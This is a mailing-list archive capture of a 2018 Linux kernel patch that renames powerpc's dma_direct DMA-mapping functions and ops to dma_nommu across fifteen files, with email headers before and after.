        nKj23D82QbJl1zvwfJjLL6b0AilFFCmPYG5UF7uJBKSJCcdASqMUekUz+K/zaHlolzaeIxT358oiA
        Xj18jlMrQZKBx2WLZT22cP+gM0gpv+If3cRq3I9M/7p55appT7NZZdH7m28nKq2W4hg8VoRM4BJuO
        f0ZuC1/3N2QgZJ8lAbxbw9h7/kZ+aZOomLgFNSIcvRgKpW93Z/AR8IPWUXU/cAJRXe16Wkotj+AHW
        Gxtkqj8DE6evjZusBmk/S8PUleZrSkFL8Iqav6DMz13kzaJJuyHpnOoCsKOLuQdQwMtbUVfdifEDo
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvt-0007v4-9w; Fri, 12 Jan 2018 08:43:25 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28604 gmane.linux.kernel.iommu:22160 gmane.linux.ports.alpha:4743 gmane.linux.kernel.arc:3353 gmane.linux.ports.arm.kernel:625659 gmane.linux.ports.hexagon:1569 gmane.linux.kernel.metag:1646 gmane.linux.ports.mips.general:63301 gmane.linux.ports.parisc:28246 gmane.linux.ports.ppc64.devel:152028 gmane.linux.ports.sh.devel:56305 gmane.linux.ports.sparc:27254 gmane.linux.kernel.cross-arch:41462 gmane.linux.kernel:2665092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28604>

We want to use the dma_direct_ namespace for a generic implementation,
so rename powerpc to the second best choice: dma_nommu_.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/powerpc/include/asm/dma-mapping.h    |  8 ++--
 arch/powerpc/kernel/dma-iommu.c           |  2 +-
 arch/powerpc/kernel/dma-swiotlb.c         |  6 +--
 arch/powerpc/kernel/dma.c                 | 68 +++++++++++++++----------------
 arch/powerpc/kernel/pci-common.c          |  2 +-
 arch/powerpc/kernel/setup-common.c        |  2 +-
 arch/powerpc/platforms/cell/iommu.c       | 28 ++++++-------
 arch/powerpc/platforms/pasemi/iommu.c     |  2 +-
 arch/powerpc/platforms/pasemi/setup.c     |  2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c |  4 +-
 arch/powerpc/platforms/pseries/iommu.c    |  2 +-
 arch/powerpc/platforms/pseries/vio.c      |  2 +-
 arch/powerpc/sysdev/dart_iommu.c          |  4 +-
 arch/powerpc/sysdev/fsl_pci.c             |  2 +-
 drivers/misc/cxl/vphb.c                   |  2 +-
 15 files changed, 68 insertions(+), 68 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index f6ab51205a85..8fa394520af6 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -19,13 +19,13 @@
 #include <asm/swiotlb.h>
 
 /* Some dma direct funcs must be visible for use in other dma_ops */
-extern void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+extern void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 					 dma_addr_t *dma_handle, gfp_t flag,
 					 unsigned long attrs);
-extern void __dma_direct_free_coherent(struct device *dev, size_t size,
+extern void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				       void *vaddr, dma_addr_t dma_handle,
 				       unsigned long attrs);
-extern int dma_direct_mmap_coherent(struct device *dev,
+extern int dma_nommu_mmap_coherent(struct device *dev,
 				    struct vm_area_struct *vma,
 				    void *cpu_addr, dma_addr_t handle,
 				    size_t size, unsigned long attrs);
@@ -73,7 +73,7 @@ static inline unsigned long device_to_mask(struct device *dev)
 #ifdef CONFIG_PPC64
 extern struct dma_map_ops dma_iommu_ops;
 #endif
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
diff --git a/arch/powerpc/kernel/dma-iommu.c b/arch/powerpc/kernel/dma-iommu.c
index 66f33e7f8d40..f9fe2080ceb9 100644
--- a/arch/powerpc/kernel/dma-iommu.c
+++ b/arch/powerpc/kernel/dma-iommu.c
@@ -114,7 +114,7 @@ int dma_iommu_mapping_error(struct device *dev, dma_addr_t dma_addr)
 struct dma_map_ops dma_iommu_ops = {
 	.alloc			= dma_iommu_alloc_coherent,
 	.free			= dma_iommu_free_coherent,
-	.mmap			= dma_direct_mmap_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_iommu_map_sg,
 	.unmap_sg		= dma_iommu_unmap_sg,
 	.dma_supported		= dma_iommu_dma_supported,
diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index d0ea7860e02b..f1e99b9cee97 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -47,9 +47,9 @@ static u64 swiotlb_powerpc_get_required(struct device *dev)
  * for everything else.
  */
 const struct dma_map_ops swiotlb_dma_ops = {
-	.alloc = __dma_direct_alloc_coherent,
-	.free = __dma_direct_free_coherent,
-	.mmap = dma_direct_mmap_coherent,
+	.alloc = __dma_nommu_alloc_coherent,
+	.free = __dma_nommu_free_coherent,
+	.mmap = dma_nommu_mmap_coherent,
 	.map_sg = swiotlb_map_sg_attrs,
 	.unmap_sg = swiotlb_unmap_sg_attrs,
 	.dma_supported = swiotlb_dma_supported,
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 4194bbbbdb10..6d5d04ccf3b4 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -40,7 +40,7 @@ static u64 __maybe_unused get_pfn_limit(struct device *dev)
 	return pfn;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PPC64
 	u64 limit = get_dma_offset(dev) + (memblock_end_of_DRAM() - 1);
@@ -62,7 +62,7 @@ static int dma_direct_dma_supported(struct device *dev, u64 mask)
 #endif
 }
 
-void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				  dma_addr_t *dma_handle, gfp_t flag,
 				  unsigned long attrs)
 {
@@ -119,7 +119,7 @@ void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-void __dma_direct_free_coherent(struct device *dev, size_t size,
+void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				void *vaddr, dma_addr_t dma_handle,
 				unsigned long attrs)
 {
@@ -130,7 +130,7 @@ void __dma_direct_free_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -139,8 +139,8 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 	/* The coherent mask may be smaller than the real mask, check if
 	 * we can really use the direct ops
 	 */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_alloc_coherent(dev, size, dma_handle,
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_alloc_coherent(dev, size, dma_handle,
 						   flag, attrs);
 
 	/* Ok we can't ... do we have an iommu ? If not, fail */
@@ -154,15 +154,15 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 				    dev_to_node(dev));
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
 	struct iommu_table *iommu;
 
-	/* See comments in dma_direct_alloc_coherent() */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_free_coherent(dev, size, vaddr, dma_handle,
+	/* See comments in dma_nommu_alloc_coherent() */
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_free_coherent(dev, size, vaddr, dma_handle,
 						  attrs);
 	/* Maybe we used an iommu ... */
 	iommu = get_iommu_table_base(dev);
@@ -175,7 +175,7 @@ static void dma_direct_free_coherent(struct device *dev, size_t size,
 	iommu_free_coherent(iommu, size, vaddr, dma_handle);
 }
 
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -193,7 +193,7 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			       vma->vm_page_prot);
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -213,13 +213,13 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static void dma_direct_unmap_sg(struct device *dev, struct scatterlist *sg,
+static void dma_nommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 				int nents, enum dma_data_direction direction,
 				unsigned long attrs)
 {
 }
 
-static u64 dma_direct_get_required_mask(struct device *dev)
+static u64 dma_nommu_get_required_mask(struct device *dev)
 {
 	u64 end, mask;
 
@@ -231,7 +231,7 @@ static u64 dma_direct_get_required_mask(struct device *dev)
 	return mask;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -246,7 +246,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset + get_dma_offset(dev);
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -255,7 +255,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 #ifdef CONFIG_NOT_COHERENT_CACHE
-static inline void dma_direct_sync_sg(struct device *dev,
+static inline void dma_nommu_sync_sg(struct device *dev,
 		struct scatterlist *sgl, int nents,
 		enum dma_data_direction direction)
 {
@@ -266,7 +266,7 @@ static inline void dma_direct_sync_sg(struct device *dev,
 		__dma_sync_page(sg_page(sg), sg->offset, sg->length, direction);
 }
 
-static inline void dma_direct_sync_single(struct device *dev,
+static inline void dma_nommu_sync_single(struct device *dev,
 					  dma_addr_t dma_handle, size_t size,
 					  enum dma_data_direction direction)
 {
@@ -274,24 +274,24 @@ static inline void dma_direct_sync_single(struct device *dev,
 }
 #endif
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc				= dma_direct_alloc_coherent,
-	.free				= dma_direct_free_coherent,
-	.mmap				= dma_direct_mmap_coherent,
-	.map_sg				= dma_direct_map_sg,
-	.unmap_sg			= dma_direct_unmap_sg,
-	.dma_supported			= dma_direct_dma_supported,
-	.map_page			= dma_direct_map_page,
-	.unmap_page			= dma_direct_unmap_page,
-	.get_required_mask		= dma_direct_get_required_mask,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc				= dma_nommu_alloc_coherent,
+	.free				= dma_nommu_free_coherent,
+	.mmap				= dma_nommu_mmap_coherent,
+	.map_sg				= dma_nommu_map_sg,
+	.unmap_sg			= dma_nommu_unmap_sg,
+	.dma_supported			= dma_nommu_dma_supported,
+	.map_page			= dma_nommu_map_page,
+	.unmap_page			= dma_nommu_unmap_page,
+	.get_required_mask		= dma_nommu_get_required_mask,
 #ifdef CONFIG_NOT_COHERENT_CACHE
-	.sync_single_for_cpu 		= dma_direct_sync_single,
-	.sync_single_for_device 	= dma_direct_sync_single,
-	.sync_sg_for_cpu 		= dma_direct_sync_sg,
-	.sync_sg_for_device 		= dma_direct_sync_sg,
+	.sync_single_for_cpu 		= dma_nommu_sync_single,
+	.sync_single_for_device 	= dma_nommu_sync_single,
+	.sync_sg_for_cpu 		= dma_nommu_sync_sg,
+	.sync_sg_for_device 		= dma_nommu_sync_sg,
 #endif
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 int dma_set_coherent_mask(struct device *dev, u64 mask)
 {
@@ -302,7 +302,7 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
 		 * is no dma_op->set_coherent_mask() so we have to do
 		 * things the hard way:
 		 */
-		if (get_dma_ops(dev) != &dma_direct_ops ||
+		if (get_dma_ops(dev) != &dma_nommu_ops ||
 		    get_iommu_table_base(dev) == NULL ||
 		    !dma_iommu_dma_supported(dev, mask))
 			return -EIO;
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0ac7aa346c69..590f4d0a6cb1 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -60,7 +60,7 @@ resource_size_t isa_mem_base;
 EXPORT_SYMBOL(isa_mem_base);
 
 
-static const struct dma_map_ops *pci_dma_ops = &dma_direct_ops;
+static const struct dma_map_ops *pci_dma_ops = &dma_nommu_ops;
 
 void set_pci_dma_ops(const struct dma_map_ops *dma_ops)
 {
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 9d213542a48b..9b89df1e71ab 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -791,7 +791,7 @@ void arch_setup_pdev_archdata(struct platform_device *pdev)
 {
 	pdev->archdata.dma_mask = DMA_BIT_MASK(32);
 	pdev->dev.dma_mask = &pdev->archdata.dma_mask;
- 	set_dma_ops(&pdev->dev, &dma_direct_ops);
+ 	set_dma_ops(&pdev->dev, &dma_nommu_ops);
 }
 
 static __init void print_system_info(void)
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index 4b91ad08eefd..12352a58072a 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -541,7 +541,7 @@ static struct cbe_iommu *cell_iommu_for_node(int nid)
 	return NULL;
 }
 
-static unsigned long cell_dma_direct_offset;
+static unsigned long cell_dma_nommu_offset;
 
 static unsigned long dma_iommu_fixed_base;
 
@@ -580,7 +580,7 @@ static void *dma_fixed_alloc_coherent(struct device *dev, size_t size,
 					    device_to_mask(dev), flag,
 					    dev_to_node(dev));
 	else
-		return dma_direct_ops.alloc(dev, size, dma_handle, flag,
+		return dma_nommu_ops.alloc(dev, size, dma_handle, flag,
 					    attrs);
 }
 
@@ -592,7 +592,7 @@ static void dma_fixed_free_coherent(struct device *dev, size_t size,
 		iommu_free_coherent(cell_get_iommu_table(dev), size, vaddr,
 				    dma_handle);
 	else
-		dma_direct_ops.free(dev, size, vaddr, dma_handle, attrs);
+		dma_nommu_ops.free(dev, size, vaddr, dma_handle, attrs);
 }
 
 static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
@@ -601,7 +601,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_page(dev, page, offset, size,
+		return dma_nommu_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
 		return iommu_map_page(dev, cell_get_iommu_table(dev), page,
@@ -614,7 +614,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
+		dma_nommu_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
 		iommu_unmap_page(cell_get_iommu_table(dev), dma_addr, size,
@@ -626,7 +626,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
+		return dma_nommu_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
 					nents, device_to_mask(dev),
@@ -638,7 +638,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
+		dma_nommu_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
 				   direction, attrs);
@@ -661,8 +661,8 @@ static void cell_dma_dev_setup(struct device *dev)
 {
 	if (get_pci_dma_ops() == &dma_iommu_ops)
 		set_iommu_table_base(dev, cell_get_iommu_table(dev));
-	else if (get_pci_dma_ops() == &dma_direct_ops)
-		set_dma_offset(dev, cell_dma_direct_offset);
+	else if (get_pci_dma_ops() == &dma_nommu_ops)
+		set_dma_offset(dev, cell_dma_nommu_offset);
 	else
 		BUG();
 }
@@ -810,14 +810,14 @@ static int __init cell_iommu_init_disabled(void)
 	unsigned long base = 0, size;
 
 	/* When no iommu is present, we use direct DMA ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 
 	/* First make sure all IOC translation is turned off */
 	cell_disable_iommus();
 
 	/* If we have no Axon, we set up the spider DMA magic offset */
 	if (of_find_node_by_name(NULL, "axon") == NULL)
-		cell_dma_direct_offset = SPIDER_DMA_OFFSET;
+		cell_dma_nommu_offset = SPIDER_DMA_OFFSET;
 
 	/* Now we need to check to see where the memory is mapped
 	 * in PCI space. We assume that all busses use the same dma
@@ -851,13 +851,13 @@ static int __init cell_iommu_init_disabled(void)
 		return -ENODEV;
 	}
 
-	cell_dma_direct_offset += base;
+	cell_dma_nommu_offset += base;
 
-	if (cell_dma_direct_offset != 0)
+	if (cell_dma_nommu_offset != 0)
 		cell_pci_controller_ops.dma_dev_setup = cell_pci_dma_dev_setup;
 
 	printk("iommu: disabled, direct DMA offset is 0x%lx\n",
-	       cell_dma_direct_offset);
+	       cell_dma_nommu_offset);
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/pasemi/iommu.c b/arch/powerpc/platforms/pasemi/iommu.c
index 7fec04de27fc..78b80cbd9768 100644
--- a/arch/powerpc/platforms/pasemi/iommu.c
+++ b/arch/powerpc/platforms/pasemi/iommu.c
@@ -186,7 +186,7 @@ static void pci_dma_dev_setup_pasemi(struct pci_dev *dev)
 	 */
 	if (dev->vendor == 0x1959 && dev->device == 0xa007 &&
 	    !firmware_has_feature(FW_FEATURE_LPAR)) {
-		dev->dev.dma_ops = &dma_direct_ops;
+		dev->dev.dma_ops = &dma_nommu_ops;
 		/*
 		 * Set the coherent DMA mask to prevent the iommu
 		 * being used unnecessarily
diff --git a/arch/powerpc/platforms/pasemi/setup.c b/arch/powerpc/platforms/pasemi/setup.c
index c4a3e93dc324..d0b8ae53660d 100644
--- a/arch/powerpc/platforms/pasemi/setup.c
+++ b/arch/powerpc/platforms/pasemi/setup.c
@@ -363,7 +363,7 @@ static int pcmcia_notify(struct notifier_block *nb, unsigned long action,
 		return 0;
 
 	/* We use the direct ops for localbus */
-	dev->dma_ops = &dma_direct_ops;
+	dev->dma_ops = &dma_nommu_ops;
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c
index 749055553064..9582aeb1fe4c 100644
--- a/arch/powerpc/platforms/powernv/pci-ioda.c
+++ b/arch/powerpc/platforms/powernv/pci-ioda.c
@@ -1850,7 +1850,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 
 	if (bypass) {
 		dev_info(&pdev->dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(&pdev->dev, &dma_direct_ops);
+		set_dma_ops(&pdev->dev, &dma_nommu_ops);
 	} else {
 		/*
 		 * If the device can't set the TCE bypass bit but still wants
@@ -1868,7 +1868,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 				return rc;
 			/* 4GB offset bypasses 32-bit space */
 			set_dma_offset(&pdev->dev, (1ULL << 32));
-			set_dma_ops(&pdev->dev, &dma_direct_ops);
+			set_dma_ops(&pdev->dev, &dma_nommu_ops);
 		} else if (dma_mask >> 32 && dma_mask != DMA_BIT_MASK(64)) {
 			/*
 			 * Fail the request if a DMA mask between 32 and 64 bits
diff --git a/arch/powerpc/platforms/pseries/iommu.c b/arch/powerpc/platforms/pseries/iommu.c
index 69921f72e2da..eaa11334fc8c 100644
--- a/arch/powerpc/platforms/pseries/iommu.c
+++ b/arch/powerpc/platforms/pseries/iommu.c
@@ -1231,7 +1231,7 @@ static int dma_set_mask_pSeriesLP(struct device *dev, u64 dma_mask)
 			if (dma_offset != 0) {
 				dev_info(dev, "Using 64-bit direct DMA at offset %llx\n", dma_offset);
 				set_dma_offset(dev, dma_offset);
-				set_dma_ops(dev, &dma_direct_ops);
+				set_dma_ops(dev, &dma_nommu_ops);
 				ddw_enabled = true;
 			}
 		}
diff --git a/arch/powerpc/platforms/pseries/vio.c b/arch/powerpc/platforms/pseries/vio.c
index d86938260a86..49e04ec19238 100644
--- a/arch/powerpc/platforms/pseries/vio.c
+++ b/arch/powerpc/platforms/pseries/vio.c
@@ -618,7 +618,7 @@ static u64 vio_dma_get_required_mask(struct device *dev)
 static const struct dma_map_ops vio_dma_mapping_ops = {
 	.alloc             = vio_dma_iommu_alloc_coherent,
 	.free              = vio_dma_iommu_free_coherent,
-	.mmap		   = dma_direct_mmap_coherent,
+	.mmap		   = dma_nommu_mmap_coherent,
 	.map_sg            = vio_dma_iommu_map_sg,
 	.unmap_sg          = vio_dma_iommu_unmap_sg,
 	.map_page          = vio_dma_iommu_map_page,
diff --git a/arch/powerpc/sysdev/dart_iommu.c b/arch/powerpc/sysdev/dart_iommu.c
index 3573d54b2770..a6198d4f0f03 100644
--- a/arch/powerpc/sysdev/dart_iommu.c
+++ b/arch/powerpc/sysdev/dart_iommu.c
@@ -402,7 +402,7 @@ static int dart_dma_set_mask(struct device *dev, u64 dma_mask)
 	 */
 	if (dart_device_on_pcie(dev) && dma_mask >= DMA_BIT_MASK(40)) {
 		dev_info(dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 	} else {
 		dev_info(dev, "Using 32-bit DMA via iommu\n");
 		set_dma_ops(dev, &dma_iommu_ops);
@@ -446,7 +446,7 @@ void __init iommu_init_early_dart(struct pci_controller_ops *controller_ops)
 	controller_ops->dma_bus_setup = NULL;
 
 	/* Setup pci_dma ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 }
 
 #ifdef CONFIG_PM
diff --git a/arch/powerpc/sysdev/fsl_pci.c b/arch/powerpc/sysdev/fsl_pci.c
index 22d98057f773..e4d0133bbeeb 100644
--- a/arch/powerpc/sysdev/fsl_pci.c
+++ b/arch/powerpc/sysdev/fsl_pci.c
@@ -135,7 +135,7 @@ static int fsl_pci_dma_set_mask(struct device *dev, u64 dma_mask)
 	 * mapping that allows addressing any RAM address from across PCI.
 	 */
 	if (dev_is_pci(dev) && dma_mask >= pci64_dma_offset * 2 - 1) {
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 		set_dma_offset(dev, pci64_dma_offset);
 	}
 
diff --git a/drivers/misc/cxl/vphb.c b/drivers/misc/cxl/vphb.c
index 512a4897dbf6..7fd0bdc1436a 100644
--- a/drivers/misc/cxl/vphb.c
+++ b/drivers/misc/cxl/vphb.c
@@ -54,7 +54,7 @@ static bool cxl_pci_enable_device_hook(struct pci_dev *dev)
 		return false;
 	}
 
-	set_dma_ops(&dev->dev, &dma_direct_ops);
+	set_dma_ops(&dev->dev, &dma_nommu_ops);
 	set_dma_offset(&dev->dev, PAGE_OFFSET);
 
 	return _cxl_pci_associate_default_context(dev, afu);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 19/34] s390: move s390_pci_dma_ops to asm/pci_dma.h
Date: Fri, 12 Jan 2018 09:42:17 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20180112084232.2857-20-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746541 15178 195.159.176.226 (12 Jan 2018 08:42:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:21 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jan 12 09:42:15 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZuuS-0007w8-7M
	for lnx-sparclinux@m.gmane.org; Fri, 12 Jan 2018 09:41:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933683AbeALIn5 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:57 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:59615 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933713AbeALInn (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 12 Jan 2018 03:43:43 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=Afn0YIn1zKrL1IQlc79HRm4W+e1XRPY6Gc2rdlD9BfI=; b=NIJ/KxbKJNtpO9a8zn14YSKG6
        9ubJMubGSZKTHUmfhOFgvBe0x+kvhjE+EDRN4YijhkXFGBB95QnC8L93AA9FM19wNdz7S76g9vVid
        vWdKOJL7fOl1vIkHRjfJlwtkQYZiMXP341FBcmvf/3HGHnz0jxrzCatJF2NzfZO1paAcfKdgw/K+4
        ZULr72a9L9jY9KNN6Icc1M67v+Qrzfix5Ug09712BreNOp+hX4H449Y+mxpr7xT0kbGfYdRH9zd3v
        88DOIoxDiT5ScwkjrFIqOALxlo1GEF8P+FQKOJ6DVp66S4zSSYyAQi9U43x4u87LoebsQo6M8BmKx
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuw5-00089f-To; Fri, 12 Jan 2018 08:43:38 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
